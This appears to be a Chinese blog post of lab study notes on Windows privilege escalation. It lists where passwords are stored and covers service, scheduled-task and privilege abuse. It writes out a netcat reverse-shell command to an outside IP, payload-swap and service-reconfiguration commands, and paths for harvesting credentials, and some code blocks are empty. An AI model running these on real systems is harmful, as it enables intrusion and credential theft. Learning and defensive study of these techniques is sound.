初识windows提权
初识windows提权
Windows系统分为两种不同的用户,一种是拥有管理员权限的用户属于管理员组,另一种是拥有普通系统权限的用户,属于用户组。
Administrators | 这些用户拥有最高的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。 |
Standard Users | 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久性或必要的更改,并且只能访问自己的文件。 |
还有一些特殊的内置账户,由Windows系统设置和管理,通常情况下我们无法使用。
SYSTEM / LocalSystem | 操作系统用于执行内部任务的帐户。它对主机上的所有文件和资源具有完全访问权限,甚至比管理员的权限更高。 |
---|---|
Local Service | 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。 |
Network Service | 用于以“最小”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。 |
最低权限和最小权限的区别在于,最低权限在某些特殊情况下也不能进行权限的升级,但最小权限在特殊情况下可以进行权限的升级,完成之后再降为普通权限。(最低权限强调的是整体的策略,而最小权限强调的是特定任务的权限管理)
从常见地方获取密码:
Unattended Windows Installations
在大量主机上安装windows时,管理员可以使用windows部署服务,该服务允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户执行初始设置,最终可能会存储在计算机的以下位置:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
Powershell History
每当用户使用 Powershell 运行命令时,它都会被存储到一个保存过去命令记忆的文件中。这对于快速重复以前使用过的命令非常有用。如果用户运行的命令直接在 Powershell 命令行中包含密码,我们则可以在cmd.exe中使用命令 type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
来获取历史信息。
然后上面的命令是在cmd.exe中生效,如果在powshell中的话,需要将%userprofile%替换为$Env:userprofile
Powshell: type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Saved Windows Credentials
Windows 允许我们使用其他用户的凭据。此功能还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:
1 |
|
我们看不到实际的密码,但我们可以结合runas
和/savecred
一起使用
runas /savecred /user:mike.katz cmd.exe
以mike.katz的身份运行cmd,并使用/savecred对凭据进行一个保存。
IIS 配置
IIS(Internet 信息服务)是windows中默认安装的web服务器,IIS的网站配置文件存储在名为web.config的文件中,里面可以存放着数据库密码或者身份验证的一些信息。
下面是常见的web.config的安装位置:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
PuTTY
PuTTY 是 Windows 系统上常见的 SSH 客户端。用户无需每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供日后使用。虽然 PuTTY 不允许用户存储他们的 SSH密码,但它会存储包含明文身份验证凭据的代理配置。
要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:
1 |
|
SimonTatham是一个人名即PuTTY的创作者。
其他方法:
计划任务
使用schtasks
列出计划任务,在本例中,使用schtasks /query /tn vulntask /fo list /v
列出vulntask任务的详细信息。
对我们来说重要的是Task To Run 和Run As User这两个参数,一个是计划任务的内容,一个是以什么身份来运行这个计划任务的文件。
如果当前的用户可以修改或覆盖这个可执行的文件,我们就可以控制该用户执行的内容,从而实现简单的权限提升。
要检查可执行文件的权限,我们使用icacls
Users对这个文件具有F权限(完全访问权限,这个权限允许用户执行所有可能的操作)
然后向这个文件中写入一个反弹shell的命令,并运行它。
echo c:\tools\nc64.exe -e cmd.exe 10.14.74.6 4444 > C:\tasks\schtask.bat
始终安装高权限
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许我们生成以管理员权限运行的恶意 MSI 文件。
此方法需要设置两个注册表值,下面是命令:
1 |
|
然后利用msfvenom生成一个恶意的msi文件。
1 |
|
由于这是一个反向 shell,还应该运行相应配置的Metasploit Handler 模块。传输创建的文件后,可以使用以下命令运行安装程序并接收反向 shell:
1 |
|
滥用服务错误配置
Windows 服务
Windows服务由服务控制管理器(SCM)管理,Windows上的每项服务都会有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件会实现特殊功能以便能够与 SCM 通信,因此并非任何可执行文件都可以作为服务成功启动。每项服务还指定了运行服务的用户帐户。
使用sc qc
来查看某项服务的详细信息。
BINARY_PATH_NAME指向的是关联的可执行文件,SERVICE_START_NAME指向的是运行该服务的用户。
服务具有自主访问控制列表(DACL) 它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他特权。
所有服务配置都存储在注册表中,*HKLM\SYSTEM\CurrentControlSet\Services*
服务可执行文件的权限不安全
某项服务的可执行文件的权限相对来说较弱,攻击者可以修改可执行文件的内容。
对于上面服务执行的用户是svcusr1,我们去查看一下可执行文件的权限。
everyone组具有M权限(可修改权限)
首先利用msfvenom生成一个反弹shell的exe文件
然后开一个python服务,利用wget把exe文件放到powshell中
然后将权限弱的可执行文件进行一个备份,并将生成的恶意文件替换到可执行文件的位置,然后再赋予一个F权限。
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F
最后再攻击机上监听端口,并再windows上重启服务。
sc stop windowsscheduler
sc start windowsscheduler
未加引号的服务路径
如上图所示,这个服务是没有引号的,并且Disk Sorter Enterprise中间是有空格的,SCM不知道执行哪一项 就会出现下面的情况。
Command | Argument 1 | Argument 2 |
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
这与命令提示符解析命令的方式有关。通常,当您发送命令时,空格用作参数分隔符,除非它们是带引号的字符串的一部分。这意味着对未带引号的命令的“正确”解释是执行C:\\MyPrograms\\Disk.exe
并将其余部分作为参数。
SCM 并没有像它应该的那样失败,而是尝试帮助用户并开始按照表中显示的顺序搜索每个二进制文件:
- 首先,搜索
C:\\MyPrograms\\Disk.exe
。如果存在,服务将运行该可执行文件。 - 如果后者不存在,它就会搜索
C:\\MyPrograms\\Disk Sorter.exe
。如果存在,服务就会运行这个可执行文件。 - 如果后者不存在,它将搜索
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe
。此选项预计会成功,并且通常会在默认安装中运行。
从这个行为可以看出问题所在。如果攻击者创建在预期服务可执行文件之前搜索的任何可执行文件,他们就可以强制服务运行任意可执行文件。
通常情况下,服务可执行文件会默认安装在C:\Program Files 或 C:\Program Files (x86) 下。非特权用户不可写,但有些服务会更改它的默认安装位置,如果这些服务的安装位置是我们可以更改的,那么这个漏洞就容易被利用。
该BUILTIN\\Users
组具有AD和WD权限,分别允许用户创建子目录和文件。
首先我们利用linux生成一个反弹shell的exe文件,上传进去,然后将这个exe文件移动到C:\MyPrograms\Disk.exe中,对这个可执行文件赋予全部权限,最后重启这个服务即可。
不安全的服务权限
如果服务的可执行 DACL 配置(服务可执行文件的权限)正确,并且服务的二进制路径引用正确,您仍有一线机会利用该服务。如果服务 DACL(不是服务的可执行DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向您需要的任何可执行文件,并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。
服务DACL是对服务本身的控制
要从命令行检查服务 DACL,可以使用Sysinternals 套件中的Accesschk。
我们可以看到该BUILTIN\\Users
组具有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置该服务。
然后我们生成一个反弹shell的exe文件,上传上去,修改其权限,然后更改服务关联的可执行文件和帐户,最后重启服务,等待反弹shell。
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
滥用危险特权
Windows 权限
特权是帐户执行特定系统相关任务的权利。这些任务可以简单到关闭机器的特权,也可以是绕过某些基于DACL的访问控制的特权。
每个用户都有一组分配的权限,可以使用以下命令进行检查:
1 |
|
https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants 提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的权限才是值得关注的。
我们可以在 https://github.com/gtworek/Priv2Admin/blob/master/README.md 上找到可利用权限的完整列表。
SeBackup/SeRestore
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何现有的DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。
有了这种能力,攻击者就可以使用多种技术轻松提升系统权限。我们将要研究的技术包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希。
我们以管理员身份打开powshell才能使用上面的权限,以管理员身份打开后需要再次输入此账户的密码。
整体的攻击思路:
首先我们先备份sam和system的哈希,然后我们可以使用SMB服务或者其他的,将这两个备份的hash文件传递到攻击机上面,然后检索用户的哈希值,我们可以得到administrator的哈希值
最终可以使用管理员的哈希执行传递哈希攻击,并以 SYSTEM 权限访问目标机器.
此时已经备份成功。
然后启动smb服务,在本地创建一个share目录作为共享的public目录。
将两个备份文件传递到public目录上去。
然后检索hash.
可以看到能够得到administrator的hash.
最后也是成功的得到了administrator权限。
SeTakeOwnership
SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 身份运行的服务并获取该服务可执行文件的所有权。
这次我们将利用utilman.exe
来提升权限。Utilman 是一款内置 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:
由于 Utilman 以 SYSTEM 权限运行,因此如果我们将原始二进制文件替换为我们喜欢的任何有效载荷,我们将有效地获得 SYSTEM 权限。由于我们可以获得任何文件的所有权,因此替换它很简单。
下面是整体攻击思路:
首先我们获取utilman.exe的所有权,然后我们对当前所在用户赋予对utilman.exe的完全控制的权限,接着用 cmd.exe 的副本替换 utilman.exe,最后再触发utilman.exe即可。
SeImpersonate/SeAssignPrimaryToken
这些权限允许进程模拟其他用户并代表他们行事。模拟通常包括能够在另一个用户的安全上下文中生成进程或线程。
没看懂什么意思…
滥用易受攻击的软件
未打补丁的软件
目标系统上安装的软件可以提供各种特权提升机会。与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新它们。您可以使用该 wmic
工具列出目标系统上安装的软件及其版本。以下命令将转储它可以收集的有关已安装软件的信息.
1 |
|
有的时候,这并不能给出所有的信息,我们还需要注意桌面快捷方式,可用服务或通常任何表明可能存在其他易受攻击的软件的痕迹。
下面是一些工具:
WinPEAS https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
PrivescCheck https://github.com/itm4n/PrivescCheck